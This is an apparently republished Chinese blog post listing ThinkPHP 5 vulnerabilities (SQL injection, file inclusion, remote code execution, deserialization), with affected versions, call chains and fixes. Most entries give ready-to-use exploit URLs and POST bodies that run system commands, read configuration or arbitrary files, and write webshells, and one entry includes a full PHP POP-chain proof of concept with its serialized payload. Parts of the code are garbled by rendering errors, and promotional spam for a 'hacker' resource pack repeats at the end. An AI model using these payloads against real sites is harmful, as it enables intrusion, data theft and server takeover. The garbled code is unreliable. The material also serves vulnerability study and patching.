ThinkPHP 系列漏洞_thinkphp漏洞，2024年最新2024年网络安全社招面试题

最新推荐文章于 2025-04-21 19:40:26 发布

阿里P6+

最新推荐文章于 2025-04-21 19:40:26 发布

阅读量1.3k

点赞数 10

分类专栏： 2024年程序员学习文章标签： web安全安全

本文链接：https://blog.youkuaiyun.com/m0_55025322/article/details/137791827

版权

2024年程序员学习专栏收录该内容

252 篇文章

订阅专栏

先自我介绍一下，小编浙江大学毕业，去过华为、字节跳动等大厂，目前阿里P7

深知大多数程序员，想要提升技能，往往是自己摸索成长，但自己不成体系的自学效果低效又漫长，而且极易碰到天花板技术停滞不前！

因此收集整理了一份《2024年最新网络安全全套学习资料》，初衷也很简单，就是希望能够帮助到想自学提升又不知道该从何学起的朋友。

既有适合小白学习的零基础资料，也有适合3年以上经验的小伙伴深入学习提升的进阶课程，涵盖了95%以上网络安全知识点，真正体系化！

由于文件比较多，这里只是将部分目录截图出来，全套包含大厂面经、学习笔记、源码讲义、实战项目、大纲路线、讲解视频，并且后续会持续更新

如果你需要这些资料，可以添加V获取：vip204888 （备注网络安全）

正文

Request::get() =>

Request::input() =>

Query::where() =>

Builder::select() =>

Builder::buildWhere() =>

Builder::parseWhereItem()：当 sql 操作符等于 exp 时，用户数据直接拼接进入 SQL语句


![](https://img-blog.csdnimg.cn/5f6b24a9a09249e1b6d559aecf57bdf9.png)


漏洞利用：

http://localhost:8000/index/index/index?username=) union select updatexml(1,concat(0x7,user(),0x7e),1)

#（thinkphp需开启 app_debug）


漏洞修复：在拼接数据前对数据进行合法判断，对非法数据进行过滤



### 4、 thinkphp5 SQL注入4


漏洞存在于 Mysql 类的 parseWhereItem 方法中。由于程序没有对数据进行很好的过滤，直接将数据拼接进 SQL 语句。并且， Request 类的 filterValue 方法没有过滤 NOT LIKE 关键字，最终导致 SQL注入漏洞 的产生。漏洞影响版本： ThinkPHP=5.0.10 


攻击链：

payload =>

Request::input() =>

filterValue() =>

Mysql::select() =>

Builder::select() ：对sql 语句模板进行变量填充

=> Builder::buildWhere()

=> Builder::parseWhereItem ：SQL语句拼接，sql 逻辑操作符由用户控制


![](https://img-blog.csdnimg.cn/4c613092c2854a3d8e323c59e009de12.png)


漏洞利用：

http://localhost:8000/index/index/index?username[0]=not like&username[1][0]=%%&username[1][1]=233&username[2]=) union select 1,user()


漏洞修复：在 filterValue 中过滤 NOT LIKE



### 5、 thinkphp5 sql注入5


漏洞存在于 Builder 类的 parseOrder 方法中。由于程序没有对数据进行很好的过滤，直接将数据拼接进 SQL 语句，最终导致 SQL注入漏洞 的产生。漏洞影响版本： 5.1.16<=ThinkPHP5<=5.1.22


攻击链：

payload =>

Request::input() =>

filterCalue()：过滤函数未对数组的键进行过滤

=> Query::order()

=> Query::find()

=> Connection::find()

=> Builder::select()

=> str_replace() ：将数据填充到SQL模板语句

=> Builder::parseOrder()

=> Mysql::parseKey() ：直接给变量两端添加反引号，最后直接返回拼接的字符串


![](https://img-blog.csdnimg.cn/b721b48e68134998ad0fae2958ef536d.png)


漏洞利用：

http://localhost:8000/index/index/index?orderby[id|updatexml(1,concat(0x7,user(),0x7e),1)%23]=1


漏洞修复：在拼接字符串前对变量进行检查，看是否存在 )、# 两个符号



### 6、 thinkphp5 sql注入6


漏洞存在于所有 Mysql 聚合函数相关方法。由于程序没有对数据进行很好的过滤，直接将数据拼接进 SQL 语句，最终导致 SQL注入漏洞 的产生。


漏洞影响版本： 5.0.0<=ThinkPHP<=5.0.21 、 5.1.3<=ThinkPHP5<=5.1.25 。


攻击链：

payload =>

Query::max() =>

Query::aggregate() =>

Connection::aggregate() =>

Connection::parseKey() =>

Builder::select() =>

str_replace() =>

Builder::parseField() ：直接拼接SQL语句


![](https://img-blog.csdnimg.cn/b699d3596a4649b9a0596932c1549c67.png)


漏洞利用：

http://localhost:8000/index/index/index?options=id)%2bupdatexml(1,concat(0x7,user(),0x7e),1) from users%23


不同版本 payload 需稍作调整：


 5.0.0~5.0.21 、 5.1.3～5.1.10 ：

id)%2bupdatexml(1,concat(0x7,user(),0x7e),1) from users%23


5.1.11～5.1.25 ：

id)%2bupdatexml(1,concat(0x7,user(),0x7e),1) from users%23`


漏洞修复：当匹配到除了 字母、点号、星号 以外的字符时，就抛出异常



###  7、thinkphp5 文件包含漏洞


漏洞存在于 ThinkPHP 模板引擎中，在加载模版解析变量时存在变量覆盖问题，而且程序没有对数据进行很好的过滤，最终导致文件包含漏洞的产生。

public function read($cacheFile, $vars = [])
{
$this->cacheFile = $c a c h e F i l e; i f (! e m pt y ($ vars) && is_array( $KaTeX parse error: Expected '}', got 'EOF' at end of input: \dots if (isset($ vars[‘cacheFile’])){
$_think_cacheFile = $cacheFile;
$cacheFile = $v a rs [^{'} c a c h e F i l e^{'}]; u n se t ($ vars[‘cacheFile’], $vars['_think_cacheFile']); extract($ vars, EXTR_OVERWRITE);
include $KaTeX parse error: Expected 'EOF', got '}' at position 47: \dotseturn; }̲ extrac\dots$ vars);
extract($vars, EXTR_OVERWRITE);
}
// 载入模板缓存文件
include $cacheFile;
include $this->cacheFile;
}


漏洞影响版本： 5.0.0<=ThinkPHP5<=5.0.18 、5.1.0<=ThinkPHP<=5.1.10


攻击链：

payload =>

Controller::assign() =>

think\View类 data属性 =>

View::fetch() =>

File::read() =>

extract() =>

extract( $c a c h e F i l e) ：用户数据覆盖$ cacheFile 变量的值

=> include($cacheFile)：文件包含


漏洞利用：


创建 application/index/view/index/index.html 文件，并将图片马 1.jpg 上传至 public 目录下，访问 http://localhost:8000/index/index/index?cacheFile=demo.php 链接，即可触发文件包含漏洞 。


官方修复：先将 $cacheFile 变量存储在 $this->cacheFile 中，在使用 extract 函数后，最终 include 的变量是 $this->cacheFile ，这样也就避免了 include 被覆盖后的变量值。



### 8、ThinkPHP5 RCE 1


漏洞存在于 thinkphp/library/think/Cache.php 的 Cache 类中，该类会将缓存数据通过序列化的方式，直接存储在 .php 文件中，攻击者通过精心构造的 payload ，即可将 webshell 写入缓存文件。缓存文件的名字和目录均可预测出来，一旦缓存目录可访问或结合任意文件包含漏洞，即可触发远程代码执行漏洞。


漏洞影响版本： 5.0.0<=ThinkPHP5<=5.0.10 


攻击链：


payload => Cache::set() => Cache::init() => thinkphp\library\think\driver\File::set() => serialize()：在文件开头拼接了“//”注释符（换行绕过即可），存储为 php 文件


文件名生成规则：获得键名的 md5 值，然后将该 md5 值的前 2 个字符作为缓存子目录，后 30 字符作为缓存文件名，如果应用程序还设置了前缀 $this->options['prefix'] ，则缓存文件还将多一个上级目录。


![](https://img-blog.csdnimg.cn/96af14a3b0d7481c9105490574b7b4ee.png)


![](https://img-blog.csdnimg.cn/deaf5b9a489140859e4894728d21045d.png)


漏洞利用：

http://localhost/tpdemo/public/?username=username123%0d%0a@eval($GET[]);
// 将 webshell 写入缓存文件。


官方修复：将数据拼接在 php 标签之外，并在 php 标签中拼接 exit() 函数。



### 9、ThinkPHP5 RCE 2


漏洞影响版本： 5.0.7<=ThinkPHP5<=5.0.22 、5.1.0<=ThinkPHP<=5.1.30。


漏洞成因：


 ThinkPHP 底层没有对控制器名进行很好的合法性校验，在没有开启强制路由情况下，可以使用路由兼容模式 s 参数，用户可以通过此参数调用任意类的任意方法，最终导致远程代码执行漏洞的产生。


vulnerable url：

http://localhost:8000/?s=index/\think\Request/input&filter[]=system&data=pwd


两种漏洞利用：


1）所有用户参数都会经过 Request 类的 input 方法处理，该方法会调用 filterValue 方法，而 filterValue 方法中使用了 call\_user\_func()


攻击链：payload => Request::input() => filterValue() => call\_user\_func() => rce


2）控制器名称从兼容模式下的s参数获取，但对s的值没有做任何安全处理，最后会被传递到exec()，造成rce


攻击链：payload => s => Dispatch::$result => App::run() => Dispatch::run => exec() => rce


![](https://img-blog.csdnimg.cn/c2a92c5da8494e368e64123759116546.png)


不同版本 payload ：


5.1.x ：

?s=index/\think\Request/input&filter[]=system&data=pwd

?s=index/\think\view\driver\Php/display&content=<?php phpinfo();?>

?s=index/\think\template\driver\file/write&cacheFile=shell.php&content=<?php phpinfo();?>

?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id

?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id


5.0.x ：

?s=index/think\config/get&name=database.username # 获取配置信息

?s=index/\think\Lang/load&file=…/…/test.jpg # 包含任意文件

?s=index/\think\Config/load&file=…/…/t.php # 包含任意.php文件

?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id


漏洞修复：


5.1.x：thinkphp/library/think/route/dispatch/Url.php  类的 parseUrl 方法，解析控制器后加上过滤


5.0.x：thinkphp/library/think/App.php  类的 module 方法的获取控制器的代码后面加上过滤

if (!preg_match(‘/¹(\w|.)*$/’, $controller)) {

throw new HttpException(404, ‘controller not exists:’ . $controller);

}



### 10、ThinkPHP5 rce3


漏洞影响版本： 5.0.0<=ThinkPHP5<=5.0.23 、5.1.0<=ThinkPHP<=5.1.30。


漏洞成因:


 ThinkPHP 底层没有对控制器名进行很好的合法性校验，在没有开启强制路由情况下，可以使用路由兼容模式 s 参数，用户可以通过此参数调用任意类的任意方法，最终导致远程代码执行漏洞的产生。同时，用户可以通 $\_POST 数组传递请求方法 $method 的值，而且在获取之后没有进行任何检查，thinkphp直接把它作为 Request 类的方法进行调用，相当于可以随意调用 Request 类的部分方法。同时，Request 类的 \_\_construct 方法中存在类属性覆盖的功能。



1）当框架在配置文件中开启了 debug 模式（ 'app\_debug'=> true ）


程序会调用 Request 类的 param 方法，因此可以覆盖原来的方法，转而调用Request::input()，进而调用call\_user\_func()函数。


![](https://img-blog.csdnimg.cn/edb32cd3cb0e4c6f890a8da4dfc0b562.png)



攻击链：


payload => $\_POST => Request::$method => Request::param() => 


Request::method() => Request::server() => 


Request::input() => filterValue() => call\_user\_func() => rce



2）为开启 debug 模式


在 Dispatch 类的 run 方法中，会执行一个 exec 方法，当该方法中的 $dispatch['type'] 等于 controller 或者 method 时，又会调用 Request 类的 param 方法。$dispatch['type'] 来源于 parseRule 方法中的 $result 变量，而 $result 变量又与 $route 变量有关系， $route 变量取决于程序中定义的路由地址方式，GET方式中存在一条路由，可以利用这一路由地址，使得 $dispatch['type'] 等于 method ，从而完成 远程代码执行漏洞。

路由方式：‘\完整的命名空间类@动态方法’

\think\Route::get(‘captcha/[:id]’, “\think\captcha\CaptchaController@index”)


![](https://img-blog.csdnimg.cn/2a65371a103f40b6a99414205a0d70ea.png)


![](https://img-blog.csdnimg.cn/01694313e8ed4718bbdc40c30e1942e2.png)


攻击链：


payload => $\_GET => $route => Route::parseRule(..., $result, ...) => 


Dispatch::run() => exec($dispatche['type'], ...) => Request::$method  => 


Request::param() => Request::method() => Request::server() => 


Request::input() => filterValue() => call\_user\_func() => rce



漏洞利用：


ThinkPHP <= 5.0.13

POST /?s=index/index

s=whoami&_method=__construct&method=&filter[]=system


ThinkPHP <= 5.0.23、5.1.0 <= 5.1.16 需要开启框架app\_debug

POST /

_method=__construct&filter[]=system&server[REQUEST_METHOD]=ls -al


ThinkPHP <= 5.0.23 需要存在xxx的method路由，例如captcha

POST /?s=xxx HTTP/1.1

…

_method=__construct&filter[]=system&method=get&get[]=ls±al

或

_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=ls


漏洞修复：同上，同时限制Request中可控的请求方法



### 11、ThinkPHP 5.0.X 反序列化漏洞


漏洞成因：


\think\cache\driver\File::set() 方法可以写入文件，且文件名及文件内容可控，导致可以写入webshell。


在 think\process\pipes\Windows 类的 \_\_destruct 方法中，存在一个删除文件功能，此处的文件名 $filename 变量是可控。若将一个类赋值给 $filename 变量，则在 file\_exists($filename) 的时候，会触发这个类的 \_\_toString 方法。因为 file\_exists 函数需要的是一个字符串类型的参数，如果传入一个对象，就会先调用该类 \_\_toString 方法，将其转换成字符串，然后再判断。Output 类中，\_\_call 方法内存在 call\_user\_func\_array 函数，通过调用不存在的方法，即可触发 \_\_call 方法，调用 call\_user\_func\_array(array (任意类,任意方法), $args)，执行任意方法，据此可以调用写文件的函数。


getCacheKey() 方法中的 $this->options['path'] 可控，因此 $filename 可控，可以利用伪协议绕过添加的exit。setTagItem 方法会再执行一次 set 方法，且文件内容 $value 通过 $name（文件名）赋值，可以在文件名中写入 webshell，进而写入 php 文件。

php://filter/write=string.rot13/resource=./<?cuc cucvasb();?>


![](https://img-blog.csdnimg.cn/9c8fef889d2e4f9d8b33b0e91ab21fc6.png)


![](https://img-blog.csdnimg.cn/b8ef0802dce54391bdde6a5aded7844f.png)


  
 POP链：

think\process\pipes\Windows::__destruct() =>

Windows::removeFiles() => file_exists() =>

Model::toJson() => Model::toArray() =>

Loader::parseName() => $t hi s - >$ relation() =>

think\Model::getError() => getRelationData() =>

$value => $i t e m [$ key] = $value ? $v a l u e - > g e t A tt r ($ attr) : null //进行判断时，需要通过toArray()将getAttr($attr)进行数据类型转换，Output类中不存在toArray()方法，触发 think\console\Output::__call()调用不存在的方法

=> think\console\Output::__call()=>

call_user_func_array(array(任意类,任意方法),$args) =>

$this->handle->write() => think\console\Output::write() =>

think\session\driver\Memcached::write() => think\cache\driver\File:set() =>

File::setTagItem($name) => File::set() => file_put_contents() => 写入 webshell


漏洞利用：


webshell 的写入路径为：网站根目录 /public/static/<?cuc cucvasb();?>md5(‘tag\_’+md5($tag))，访问 webshell 时要对文件名进行 URL 编码


Poc:

<?php //File类 namespace think\cache\driver; class File { // tag变量跟文件名有关 protected $tag='abcdef'; protected $options = [ 'expire' => 3600, 'cache_subdir' => false, 'prefix' => '', // 写入文件 'path' => 'php://filter/write=string.rot13/resource=./static/<?cuc cucvasb();?>',

    // 创建子目录
    /* 'path' => './static/3a6c45/', */ 
    'data_compress' => false, 
];

}

//Memcached类
namespace think\session\driver;
use think\cache\driver\File;
class Memcached {
protected $handler = null;
function __construct() {
$this->handler=new File();
}
}

//Output类
namespace think\console;
use think\session\driver\Memcached;
class Output {
protected $styles = [‘removeWhereField’];
private $handle = null;
function __construct() {
$this->handle=new Memcached();
}
}

//HasOne类
namespace think\model\relation;
use think\console\Output;
class HasOne {
protected $query = false;
function __construct() {
$this->query=new Output();
}
}

//Pivot类
namespace think\model;
use think\model\relation\HasOne;
class Pivot {
protected $append = [‘getError’];
protected $error = false;
public function __construct() {
$this->error=new HasOne();
}
}

//Windows类
namespace think\process\pipes;
use think\model\Pivot;
class Windows {
private $files = [];
public function __construct() {
$this->files=[new Pivot()];
}
}

$str_replace('+', '%20', urlencode(serialize($ x)));

// 生成的payload：

O%3A27%3A%22think%5Cprocess%5Cpipes%5CWindows%22%3A1%3A%7Bs%3A34%3A%22%00think%5Cprocess%5Cpipes%5CWindows%00files%22%3Ba%3A1%3A%7Bi%3A0%3BO%3A17%3A%22think%5Cmodel%5CPivot%22%3A2%3A%7Bs%3A9%3A%22%00%2A%00append%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A8%3A%22getError%22%3B%7Ds%3A8%3A%22%00%2A%00error%22%3BO%3A27%3A%22think%5Cmodel%5Crelation%5CHasOne%22%3A1%3A%7Bs%3A8%3A%22%00%2A%00query%22%3BO%3A20%3A%22think%5Cconsole%5COutput%22%3A2%3A%7Bs%3A9%3A%22%00%2A%00styles%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A16%3A%22removeWhereField%22%3B%7Ds%3A28%3A%22%00think%5Cconsole%5COutput%00handle%22%3BO%3A30%3A%22think%5Csession%5Cdriver%5CMemcached%22%3A1%3A%7Bs%3A10%3A%22%00%2A%00handler%22%3BO%3A23%3A%22think%5Ccache%5Cdriver%5CFile%22%3A2%3A%7Bs%3A6%3A%22%00%2A%00tag%22%3Bs%3A6%3A%22abcdef%22%3Bs%3A10%3A%22%00%2A%00options%22%3Ba%3A5%3A%7Bs%3A6%3A%22expire%22%3Bi%3A3600%3Bs%3A12%3A%22cache_subdir%22%3Bb%3A0%3Bs%3A6%3A%22prefix%22%3Bs%3A0%3A%22%22%3Bs%3A4%3A%22path%22%3Bs%3A68%3A%22php%3A%2F%2Ffilter%2Fwrite%3Dstring.rot13%2Fresource%3D.%2Fstatic%2F%3C%3Fcuc%20cucvasb%28%29%3B%3F%3E%22%3Bs%3A13%3A%22data_compress%22%3Bb%3A0%3B%7D%7D%7D%7D%7D%7D%7D%7D


漏洞修复：


1）修改removeFiles方法

private function removeFiles(){
foreach ($this->files as $KaTeX parse error: Expected '}', got 'EOF' at end of input: \dots if(is_object($ filename)){
continue;
}
if (file_exists( $KaTeX parse error: Expected '}', got 'EOF' at end of input: \dots @unlink($ filename);
}
}
$this->files = [];
}


2）在Windows.php中添加两个方法

public function __sleep(){
throw new Exception('Cannot serialize '.CLASS);
}

public function __wakeup(){
throw new Exception('Cannot unserialize '.CLASS);
}



### 12、ThinkPHP5.1.X反序列化命令执行漏洞


漏洞成因：


此漏洞的 pop 链入口类似于 5.0.x 反序列化漏洞的 pop 链入口，都是通过\think\process\pipes\Windows::\_\_destruct()。Request 类中的 input 方法，调用了call\_user\_func()，可以通过构造 pop 链进行 rce。


![](https://img-blog.csdnimg.cn/59c21251a0024358b445fb8d3a6cf57b.png)




### 给大家的福利


**零基础入门**


对于从来没有接触过网络安全的同学，我们帮你准备了详细的学习成长路线图。可以说是最科学最系统的学习路线，大家跟着这个大的方向学习准没问题。


![](https://img-blog.csdnimg.cn/img_convert/95608e9062782d28f4f04f821405d99a.png)


同时每个成长路线对应的板块都有配套的视频提供：


![在这里插入图片描述](https://img-blog.csdnimg.cn/direct/a91b9e8100834e9291cfcf1695d8cd42.png#pic_center)


因篇幅有限，仅展示部分资料


网络安全面试题


![](https://img-blog.csdnimg.cn/img_convert/80674985176a4889f7bb130756893764.png)


绿盟护网行动


![](https://img-blog.csdnimg.cn/img_convert/9f3395407120bb0e1b5bf17bb6b6c743.png)


还有大家最喜欢的黑客技术


![](https://img-blog.csdnimg.cn/img_convert/5912337446dee53639406fead3d3f03c.jpeg)


**网络安全源码合集+工具包**


![](https://img-blog.csdnimg.cn/img_convert/5072ce807750c7ec721c2501c29cb7d5.png)


![](https://img-blog.csdnimg.cn/img_convert/4a5f4281817dc4613353c120c9543810.png)

**所有资料共282G**，朋友们如果有需要全套《网络安全入门+黑客进阶学习资源包》，可以扫描下方二维码领取（如遇扫码问题，可以在评论区留言领取哦）~




**网上学习资料一大堆，但如果学到的知识不成体系，遇到问题时只是浅尝辄止，不再深入研究，那么很难做到真正的技术提升。**

**需要这份系统化的资料的朋友，可以添加V获取：vip204888 （备注网络安全）**
![img](https://img-blog.csdnimg.cn/img_convert/88ddec5417c6be1a43edaabff2105ade.png)

**一个人可以走的很快，但一群人才能走的更远！不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人，都欢迎加入我们的的圈子（技术交流、学习资源、职场吐槽、大厂内推、面试辅导），让我们一起学习成长！**

756893764.png)


绿盟护网行动


![](https://img-blog.csdnimg.cn/img_convert/9f3395407120bb0e1b5bf17bb6b6c743.png)


还有大家最喜欢的黑客技术


![](https://img-blog.csdnimg.cn/img_convert/5912337446dee53639406fead3d3f03c.jpeg)


**网络安全源码合集+工具包**


![](https://img-blog.csdnimg.cn/img_convert/5072ce807750c7ec721c2501c29cb7d5.png)


![](https://img-blog.csdnimg.cn/img_convert/4a5f4281817dc4613353c120c9543810.png)

**所有资料共282G**，朋友们如果有需要全套《网络安全入门+黑客进阶学习资源包》，可以扫描下方二维码领取（如遇扫码问题，可以在评论区留言领取哦）~




**网上学习资料一大堆，但如果学到的知识不成体系，遇到问题时只是浅尝辄止，不再深入研究，那么很难做到真正的技术提升。**

**需要这份系统化的资料的朋友，可以添加V获取：vip204888 （备注网络安全）**
[外链图片转存中...(img-rXPBv3Ve-1713179060390)]

**一个人可以走的很快，但一群人才能走的更远！不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人，都欢迎加入我们的的圈子（技术交流、学习资源、职场吐槽、大厂内推、面试辅导），让我们一起学习成长！**

A-Za-z ↩︎